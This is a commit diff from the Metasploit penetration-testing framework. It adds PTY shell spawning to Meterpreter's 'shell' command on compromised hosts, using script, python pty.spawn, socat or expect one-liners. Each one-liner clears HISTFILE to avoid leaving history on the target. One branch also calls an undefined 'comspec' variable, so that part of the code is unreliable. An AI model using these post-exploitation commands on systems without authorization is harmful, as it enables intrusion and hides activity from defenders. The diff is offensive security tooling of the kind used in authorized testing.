Land #10389, PTY support for Meterpreter "shell"

4.x
William Vu 2018-09-14 11:16:41 -05:00 committed by Metasploit
parent 41068c6ccb
commit 3ff9b3b0c9
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
1 changed files with 132 additions and 12 deletions

View File

@ -22,7 +22,7 @@ class Console::CommandDispatcher::Stdapi::Sys
#
@@execute_opts = Rex::Parser::Arguments.new(
"-a" => [ true, "The arguments to pass to the command." ],
"-c" => [ false, "Channelized I/O (required for interaction)." ],
"-c" => [ false, "Channelized I/O (required for interaction)." ], # -i sets -c
"-f" => [ true, "The executable command to run." ],
"-h" => [ false, "Help menu." ],
"-H" => [ false, "Create the process hidden from view." ],
@ -33,6 +33,14 @@ class Console::CommandDispatcher::Stdapi::Sys
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
"-s" => [ true, "Execute process in a given session as the session user" ])
#
# Options used by the 'shell' command.
#
@@shell_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-l" => [ false, "List available shells (/etc/shells)." ],
"-t" => [ true, "Spawn a PTY shell (/bin/bash if no argument given)." ]) # ssh(1) -t
#
# Options used by the 'reboot' command.
#
@ -249,37 +257,149 @@ class Console::CommandDispatcher::Stdapi::Sys
[]
end
def cmd_shell_help
print_line 'Usage: shell [options]'
print_line
print_line 'Opens an interactive native shell.'
print_line @@shell_opts.usage
end
def cmd_shell_tabs(str, words)
return @@shell_opts.fmt.keys if words.length == 1
[]
end
#
# Drop into a system shell as specified by %COMSPEC% or
# as appropriate for the host.
#
def cmd_shell(*args)
use_pty = false
sh_path = '/bin/bash'
@@shell_opts.parse(args) do |opt, idx, val|
case opt
when '-h'
cmd_shell_help
return true
when '-l'
return false unless client.fs.file.exist?('/etc/shells')
begin
client.fs.file.open('/etc/shells') do |f|
print(f.read) until f.eof
end
rescue
return false
end
return true
when '-t'
use_pty = true
# XXX: No other options must follow
sh_path = val if val
end
end
case client.platform
when 'windows'
path = client.fs.file.expand_path("%COMSPEC%")
path = (path and not path.empty?) ? path : "cmd.exe"
path = client.fs.file.expand_path('%COMSPEC%')
path = (path && !path.empty?) ? path : 'cmd.exe'
# attempt the shell with thread impersonation
begin
cmd_execute("-f", path, "-c", "-H", "-i", "-t")
cmd_execute('-f', path, '-c', '-i', '-H', '-t')
rescue
# if this fails, then we attempt without impersonation
print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
cmd_execute("-f", path, "-c", "-H", "-i")
print_error('Failed to spawn shell with thread impersonation. Retrying without it.')
cmd_execute('-f', path, '-c', '-i', '-H')
end
when 'linux', 'osx'
if use_pty && pty_shell(sh_path)
return true
end
# Don't expand_path() this because it's literal anyway
path = "/bin/sh"
cmd_execute("-f", path, "-c", "-i")
cmd_execute('-f', '/bin/sh', '-c', '-i')
else
# Then this is a multi-platform meterpreter (php or java), which
# Then this is a multi-platform meterpreter (e.g., php or java), which
# must special-case COMSPEC to return the system-specific shell.
path = client.fs.file.expand_path("%COMSPEC%")
path = client.fs.file.expand_path('%COMSPEC%')
# If that failed for whatever reason, guess it's unix
path = (path and not path.empty?) ? path : "/bin/sh"
cmd_execute("-f", path, "-c", "-i")
path = (path && !path.empty?) ? path : '/bin/sh'
if use_pty && path == '/bin/sh' && pty_shell(sh_path)
return true
end
cmd_execute('-f', comspec, '-c', '-i')
end
end
#
# Spawn a PTY shell
#
def pty_shell(sh_path)
sh_path = client.fs.file.exist?(sh_path) ? sh_path : '/bin/sh'
# Python Meterpreter calls pty.openpty() - No need for other methods
if client.arch == 'python'
cmd_execute('-f', sh_path, '-c', '-i')
return true
end
# Check for the following in /usr{,/local}/bin:
# script
# python{,2,3}
# socat
# expect
paths = %w[
/usr/bin/script
/usr/bin/python
/usr/local/bin/python
/usr/bin/python2
/usr/local/bin/python2
/usr/bin/python3
/usr/local/bin/python3
/usr/bin/socat
/usr/local/bin/socat
/usr/bin/expect
/usr/local/bin/expect
]
# Select method for spawning PTY Shell based on availability on the target.
path = paths.find { |p| client.fs.file.exist?(p) }
return false unless path
# Commands for methods
cmd =
case path
when /script/
if client.platform == 'linux'
"#{path} -qc #{sh_path} /dev/null"
else
# script(1) invocation for BSD, OS X, etc.
"#{path} -q /dev/null #{sh_path}"
end
when /python/
"#{path} -c 'import pty; pty.spawn(\"#{sh_path}\")'"
when /socat/
# sigint isn't passed through yet
"#{path} - exec:#{sh_path},pty,sane,setsid,sigint,stderr"
when /expect/
"#{path} -c 'spawn #{sh_path}; interact'"
end
# "env TERM=xterm" provides colors, "clear" command, etc. as available on the target.
cmd.prepend('env TERM=xterm HISTFILE= ')
print_status(cmd)
cmd_execute('-f', cmd, '-c', '-i')
true
end
#
# Gets the process identifier that meterpreter is running in on the remote